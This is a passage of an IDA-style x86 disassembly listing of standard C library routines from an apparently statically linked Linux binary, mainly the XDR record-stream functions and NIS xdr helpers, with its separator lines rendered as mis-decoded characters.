陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80656DC: ; CODE XREF: sub_8065698+18j xor eax, eax loc_80656DE: ; CODE XREF: sub_8065698+40j mov ebx, [ebp+var_8] mov esp, ebp pop ebp retn sub_8065698 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_80656E8 proc near ; CODE XREF: sub_8065B2C+11p ; .text:08065B99p var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] loc_80656F3: ; CODE XREF: sub_80656E8+22j ; sub_80656E8+37j test ebx, ebx jle short loc_8065724 mov eax, [esi+30h] sub eax, [esi+2Ch] jnz short loc_8065710 push esi call sub_80655F0 add esp, 4 test eax, eax jnz short loc_80656F3 xor eax, eax jmp short loc_8065729 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065710: ; CODE XREF: sub_80656E8+15j mov edx, ebx cmp ebx, eax jle short loc_8065718 mov edx, eax loc_8065718: ; CODE XREF: sub_80656E8+2Cj mov eax, edx add [esi+2Ch], eax sub ebx, eax jmp short loc_80656F3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8065724: ; CODE XREF: sub_80656E8+Dj mov eax, 1 loc_8065729: ; CODE XREF: sub_80656E8+26j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_80656E8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8065734 proc near ; CODE XREF: sub_8065750+22p ; sub_8065750+2Dp arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp eax, 63h ja short loc_8065744 mov eax, 0FA0h loc_8065744: ; CODE XREF: sub_8065734+9j add eax, 3 and al, 0FCh mov esp, ebp pop ebp retn sub_8065734 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8065750 proc near ; CODE XREF: clnttcp_create+1E7p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_8] push 44h call malloc mov ebx, eax call libc_nls_init add esp, 4 test ebx, ebx jz short loc_806579B push esi call sub_8065734 mov esi, eax mov [ebx+3Ch], esi push edi call sub_8065734 mov edi, eax mov [ebx+40h], edi lea eax, [edi+esi+4] push eax call malloc mov [ebx+4], eax add esp, 0Ch test eax, eax jnz short loc_80657C4 loc_806579B: ; CODE XREF: sub_8065750+1Fj push offset aOutOfMemory_2 ; "out of memory" push 1 push 0Ah mov eax, dword_8078F9C push eax call sub_805E584 push eax push offset aXdrrec_createS ; "xdrrec_create: %s\n" push offset unk_80787A4 call _IO_fprintf jmp short loc_806583E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80657C4: ; CODE XREF: sub_8065750+49j mov eax, [ebx+4] mov [ebx+0Ch], eax test al, 3 jz short loc_80657D9 lea esi, [esi] loc_80657D0: ; CODE XREF: sub_8065750+87j inc dword ptr [ebx+0Ch] test byte ptr [ebx+0Ch], 3 jnz short loc_80657D0 loc_80657D9: ; CODE XREF: sub_8065750+7Cj mov edx, [ebx+0Ch] add edx, esi mov [ebx+28h], edx mov edx, [ebp+arg_0] mov dword ptr [edx+4], offset off_8079260 mov [edx+0Ch], ebx mov edx, [ebp+arg_C] mov [ebx], edx mov edx, [ebp+arg_10] mov [ebx+20h], edx mov edx, [ebp+arg_14] mov [ebx+8], edx mov eax, [ebx+0Ch] mov [ebx+14h], eax mov [ebx+10h], eax mov eax, [ebx+0Ch] mov [ebx+18h], eax add dword ptr [ebx+10h], 4 add [ebx+14h], esi mov dword ptr [ebx+1Ch], 0 mov [ebx+24h], edi mov eax, [ebx+28h] mov [ebx+30h], eax mov eax, edi add eax, [ebx+30h] mov [ebx+30h], eax mov [ebx+2Ch], eax mov dword ptr [ebx+34h], 0 mov dword ptr [ebx+38h], 1 loc_806583E: ; CODE XREF: sub_8065750+6Fj lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8065750 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8065848 proc near ; DATA XREF: .data:08079260o var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4 push esi push ebx mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] mov edx, [ebx+0Ch] mov ecx, [edx+2Ch] cmp dword ptr [edx+34h], 3 jbe short loc_8065884 mov eax, [edx+30h] sub eax, ecx cmp eax, 3 jbe short loc_8065884 mov eax, [ecx] xchg al, ah ror eax, 10h xchg al, ah mov [esi], eax add dword ptr [edx+34h], 0FFFFFFFCh add dword ptr [edx+2Ch], 4 jmp short loc_80658A4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8065884: ; CODE XREF: sub_8065848+18j ; sub_8065848+22j push 4 lea eax, [ebp+var_4] push eax push ebx call sub_8065910 test eax, eax jnz short loc_8065898 xor eax, eax jmp short loc_80658A9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065898: ; CODE XREF: sub_8065848+4Aj mov eax, [ebp+var_4] xchg al, ah ror eax, 10h xchg al, ah mov [esi], eax loc_80658A4: ; CODE XREF: sub_8065848+37j mov eax, 1 loc_80658A9: ; CODE XREF: sub_8065848+4Ej lea esp, [ebp+var_C] pop ebx pop esi mov esp, ebp pop ebp retn sub_8065848 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_80658B4 proc near ; DATA XREF: .data:08079264o var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov eax, [ebp+arg_0] mov esi, [ebp+arg_4] mov ebx, [eax+0Ch] mov edx, [ebx+10h] mov eax, edx add eax, 4 mov [ebx+10h], eax cmp [ebx+14h], eax jnb short loc_80658F7 add dword ptr [ebx+10h], 0FFFFFFFCh mov dword ptr [ebx+1Ch], 1 push 0 push ebx call sub_8065588 test eax, eax jnz short loc_80658F0 xor eax, eax jmp short loc_8065907 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80658F0: ; CODE XREF: sub_80658B4+33j mov edx, [ebx+10h] add dword ptr [ebx+10h], 4 loc_80658F7: ; CODE XREF: sub_80658B4+1Cj mov eax, [esi] xchg al, ah ror eax, 10h xchg al, ah mov [edx], eax mov eax, 1 loc_8065907: ; CODE XREF: sub_80658B4+37j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_80658B4 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8065910 proc near ; CODE XREF: sub_8065848+43p ; DATA XREF: .data:08079268o var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov eax, [ebp+arg_0] mov edi, [ebp+arg_8] mov esi, [eax+0Ch] loc_806591F: ; CODE XREF: sub_8065910+2Bj ; sub_8065910+58j test edi, edi jz short loc_806596C mov ebx, [esi+34h] test ebx, ebx jnz short loc_8065944 cmp dword ptr [esi+38h], 0 jnz short loc_806593D push esi call sub_8065698 add esp, 4 test eax, eax jnz short loc_806591F loc_806593D: ; CODE XREF: sub_8065910+1Ej ; sub_8065910+4Ej xor eax, eax jmp short loc_8065971 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8065944: ; CODE XREF: sub_8065910+18j mov eax, ebx cmp edi, ebx jnb short loc_806594C mov eax, edi loc_806594C: ; CODE XREF: sub_8065910+38j mov ebx, eax push ebx mov edx, [ebp+arg_4] push edx push esi call sub_8065634 add esp, 0Ch test eax, eax jz short loc_806593D add [ebp+arg_4], ebx sub [esi+34h], ebx sub edi, ebx jmp short loc_806591F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806596C: ; CODE XREF: sub_8065910+11j mov eax, 1 loc_8065971: ; CODE XREF: sub_8065910+2Fj lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8065910 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_806597C proc near ; DATA XREF: .data:0807926Co var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov eax, [ebp+arg_0] mov edi, [ebp+arg_8] mov esi, [eax+0Ch] loc_806598B: ; CODE XREF: sub_806597C+44j ; sub_806597C+5Aj test edi, edi jz short loc_80659DC mov ebx, [esi+14h] sub ebx, [esi+10h] mov eax, ebx cmp edi, ebx jnb short loc_806599D mov eax, edi loc_806599D: ; CODE XREF: sub_806597C+1Dj mov ebx, eax push ebx mov eax, [esi+10h] push eax mov edx, [ebp+arg_4] push edx call bcopy mov eax, ebx add eax, [esi+10h] mov [esi+10h], eax add [ebp+arg_4], ebx sub edi, ebx add esp, 0Ch cmp [esi+14h], eax jnz short loc_806598B mov dword ptr [esi+1Ch], 1 push 0 push esi call sub_8065588 add esp, 8 test eax, eax jnz short loc_806598B xor eax, eax jmp short loc_80659E1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80659DC: ; CODE XREF: sub_806597C+11j mov eax, 1 loc_80659E1: ; CODE XREF: sub_806597C+5Ej lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_806597C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_80659EC proc near ; CODE XREF: sub_8065A40+10p ; DATA XREF: .data:08079270o var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [esi+0Ch] push 1 push 0 mov eax, [ebx] push eax call __libc_lseek mov edx, eax cmp edx, 0FFFFFFFFh jz short loc_8065A35 mov eax, [esi] test eax, eax jz short loc_8065A18 cmp eax, 1 jz short loc_8065A24 jmp short loc_8065A30 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8065A18: ; CODE XREF: sub_80659EC+22j mov eax, [ebx+10h] sub eax, [ebx+0Ch] add edx, eax jmp short loc_8065A35 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8065A24: ; CODE XREF: sub_80659EC+27j mov eax, [ebx+30h] sub eax, [ebx+2Ch] sub edx, eax jmp short loc_8065A35 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8065A30: ; CODE XREF: sub_80659EC+29j mov edx, 0FFFFFFFFh loc_8065A35: ; CODE XREF: sub_80659EC+1Cj ; sub_80659EC+34j ... mov eax, edx lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_80659EC endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8065A40 proc near ; DATA XREF: .data:08079274o var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov edi, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esi, [edi+0Ch] push edi call sub_80659EC mov edx, eax sub edx, ebx cmp eax, 0FFFFFFFFh jz short loc_8065AAC mov eax, [edi] test eax, eax jz short loc_8065A6C cmp eax, 1 jz short loc_8065A88 jmp short loc_8065AAC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8065A6C: ; CODE XREF: sub_8065A40+22j mov eax, [esi+10h] sub eax, edx cmp [esi+18h], eax jnb short loc_8065AAC cmp [esi+14h], eax jbe short loc_8065AAC mov [esi+10h], eax mov eax, 1 jmp short loc_8065AAE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8065A88: ; CODE XREF: sub_8065A40+27j mov eax, [esi+2Ch] sub eax, edx cmp [esi+34h], edx jle short loc_8065AAC cmp [esi+30h], eax jb short loc_8065AAC cmp [esi+28h], eax ja short loc_8065AAC mov [esi+2Ch], eax sub [esi+34h], edx mov eax, 1 jmp short loc_8065AAE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8065AAC: ; CODE XREF: sub_8065A40+1Cj ; sub_8065A40+29j ... xor eax, eax loc_8065AAE: ; CODE XREF: sub_8065A40+43j ; sub_8065A40+67j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8065A40 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8065AB8 proc near ; DATA XREF: .data:08079278o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] mov edx, [eax+0Ch] xor ebx, ebx mov eax, [eax] test eax, eax jz short loc_8065AD4 cmp eax, 1 jz short loc_8065AE8 jmp short loc_8065B00 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065AD4: ; CODE XREF: sub_8065AB8+13j mov eax, ecx add eax, [edx+10h] cmp [edx+14h], eax jb short loc_8065B00 mov ebx, [edx+10h] mov [edx+10h], eax jmp short loc_8065B00 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8065AE8: ; CODE XREF: sub_8065AB8+18j cmp [edx+34h], ecx jl short loc_8065B00 mov eax, ecx add eax, [edx+2Ch] cmp [edx+30h], eax jb short loc_8065B00 mov ebx, [edx+2Ch] sub [edx+34h], ecx add [edx+2Ch], ecx loc_8065B00: ; CODE XREF: sub_8065AB8+1Aj ; sub_8065AB8+24j ... mov eax, ebx mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8065AB8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8065B0C proc near ; DATA XREF: .data:0807927Co var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov eax, [ebp+arg_0] mov ebx, [eax+0Ch] mov eax, [ebx+4] push eax call free push ebx call free mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8065B0C endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8065B2C proc near ; CODE XREF: sub_8063D20+162p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov eax, [ebp+arg_0] mov ebx, [eax+0Ch] jmp short loc_8065B68 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065B38: ; CODE XREF: sub_8065B2C+40j ; sub_8065B2C+46j mov eax, [ebx+34h] push eax push ebx call sub_80656E8 add esp, 8 test eax, eax jz short loc_8065B63 mov dword ptr [ebx+34h], 0 cmp dword ptr [ebx+38h], 0 jnz short loc_8065B68 push ebx call sub_8065698 add esp, 4 test eax, eax jnz short loc_8065B68 loc_8065B63: ; CODE XREF: sub_8065B2C+1Bj xor eax, eax jmp short loc_8065B80 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8065B68: ; CODE XREF: sub_8065B2C+Aj ; sub_8065B2C+28j ... cmp dword ptr [ebx+34h], 0 jg short loc_8065B38 cmp dword ptr [ebx+38h], 0 jz short loc_8065B38 mov dword ptr [ebx+38h], 0 mov eax, 1 loc_8065B80: ; CODE XREF: sub_8065B2C+39j mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8065B2C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp push ebx mov eax, [ebp+8] mov ebx, [eax+0Ch] jmp short loc_8065BBF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065B94: ; CODE XREF: .text:08065BC3j ; .text:08065BC9j mov eax, [ebx+34h] push eax push ebx call sub_80656E8 add esp, 8 test eax, eax jz short loc_8065BD8 mov dword ptr [ebx+34h], 0 cmp dword ptr [ebx+38h], 0 jnz short loc_8065BBF push ebx call sub_8065698 add esp, 4 test eax, eax jz short loc_8065BD8 loc_8065BBF: ; CODE XREF: .text:08065B92j ; .text:08065BB0j cmp dword ptr [ebx+34h], 0 jg short loc_8065B94 cmp dword ptr [ebx+38h], 0 jz short loc_8065B94 mov eax, [ebx+2Ch] cmp [ebx+30h], eax jz short loc_8065BD8 xor eax, eax jmp short loc_8065BDD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8065BD8: ; CODE XREF: .text:08065BA3j ; .text:08065BBDj ... mov eax, 1 loc_8065BDD: ; CODE XREF: .text:08065BD5j mov ebx, [ebp-4] mov esp, ebp pop ebp retn ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8065BE4 proc near ; CODE XREF: sub_8063D20+D2p ; sub_8063D20+E1p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] cmp [ebp+arg_4], 0 jnz short loc_8065C04 cmp dword ptr [ecx+1Ch], 0 jnz short loc_8065C04 mov eax, [ecx+10h] add eax, 4 cmp [ecx+14h], eax ja short loc_8065C18 loc_8065C04: ; CODE XREF: sub_8065BE4+Dj ; sub_8065BE4+13j mov dword ptr [ecx+1Ch], 0 push 1 push ecx call sub_8065588 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8065C18: ; CODE XREF: sub_8065BE4+1Ej mov eax, [ecx+10h] sub eax, [ecx+18h] add eax, 0FFFFFFFCh mov edx, [ecx+18h] or eax, 80000000h xchg al, ah ror eax, 10h xchg al, ah mov [edx], eax mov eax, [ecx+10h] mov [ecx+18h], eax add dword ptr [ecx+10h], 4 mov eax, 1 mov esp, ebp pop ebp retn sub_8065BE4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8065C48 proc near ; CODE XREF: sub_80649C0+Cp push ebp mov ebp, esp mov eax, 100h mov esp, ebp pop ebp retn sub_8065C48 endp ; [0000002F BYTES: COLLAPSED FUNCTION __sigsetmask. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000067 BYTES: COLLAPSED FUNCTION getdomainname. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000061 BYTES: COLLAPSED FUNCTION mmap. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000003A BYTES: COLLAPSED FUNCTION _xstat. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000003A BYTES: COLLAPSED FUNCTION _fxstat. PRESS KEYPAD "+" TO EXPAND] align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8065DC8 proc near ; DATA XREF: __default_morecore_init+1Co arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax call __sbrk cmp eax, 0FFFFFFFFh jnz short loc_8065DDB xor eax, eax loc_8065DDB: ; CODE XREF: sub_8065DC8+Fj mov esp, ebp pop ebp retn sub_8065DC8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [0000003A BYTES: COLLAPSED FUNCTION __default_morecore_init. PRESS KEYPAD "+" TO EXPAND] align 4 ; [000002D5 BYTES: COLLAPSED FUNCTION __readv. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000002F BYTES: COLLAPSED FUNCTION __libc_fcntl. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000002F BYTES: COLLAPSED FUNCTION __libc_lseek. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000002C BYTES: COLLAPSED FUNCTION __libc_munmap. PRESS KEYPAD "+" TO EXPAND] ; [0000002F BYTES: COLLAPSED FUNCTION __libc_syscall_readv. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000038 BYTES: COLLAPSED FUNCTION __libc_mremap. PRESS KEYPAD "+" TO EXPAND] ; [00000048 BYTES: COLLAPSED FUNCTION __sbrk. PRESS KEYPAD "+" TO EXPAND] ; [00000039 BYTES: COLLAPSED FUNCTION __init_brk. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000003D BYTES: COLLAPSED FUNCTION bzero. PRESS KEYPAD "+" TO EXPAND] align 8 ; [000000C5 BYTES: COLLAPSED FUNCTION strlen. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000009E BYTES: COLLAPSED FUNCTION __mpn_add_n. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000042 BYTES: COLLAPSED FUNCTION __mpn_addmul_1. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000002A BYTES: COLLAPSED FUNCTION xdr_domainname. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000026 BYTES: COLLAPSED FUNCTION xdr_mapname. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000002A BYTES: COLLAPSED FUNCTION xdr_peername. PRESS KEYPAD "+" TO EXPAND] align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_80664E4 proc near ; CODE XREF: sub_8066514+31p ; xdr_nis_oid+1Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] push 400h lea eax, [edx+4] push eax push edx push ecx call sub_80651B8 test eax, eax jz short loc_806650C mov eax, 1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806650C: ; CODE XREF: sub_80664E4+1Bj xor eax, eax mov esp, ebp pop ebp retn sub_80664E4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8066514 proc near ; DATA XREF: sub_805D3A8+147o ; sub_805D814+DFo var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] mov eax, [ebx] push eax push esi call xdr_domainname add esp, 8 test eax, eax jz short loc_8066558 lea eax, [ebx+4] push eax push esi call xdr_mapname add esp, 8 test eax, eax jz short loc_8066558 lea eax, [ebx+8] push eax push esi call sub_80664E4 test eax, eax jz short loc_8066558 mov eax, 1 jmp short loc_806655A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8066558: ; CODE XREF: sub_8066514+19j ; sub_8066514+2Aj ... xor eax, eax loc_806655A: ; CODE XREF: sub_8066514+3Fj lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8066514 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8066564 proc near ; DATA XREF: sub_805D638+BFo ; .text:0805DB07o ... var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] mov eax, [ebx] push eax push esi call xdr_domainname add esp, 8 test eax, eax jz short loc_8066594 lea eax, [ebx+4] push eax push esi call xdr_mapname test eax, eax jz short loc_8066594 mov eax, 1 jmp short loc_8066596 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8066594: ; CODE XREF: sub_8066564+19j ; sub_8066564+27j xor eax, eax loc_8066596: ; CODE XREF: sub_8066564+2Ej lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8066564 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [0000003B BYTES: COLLAPSED FUNCTION xdr_nis_oid. PRESS KEYPAD "+" TO EXPAND] align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 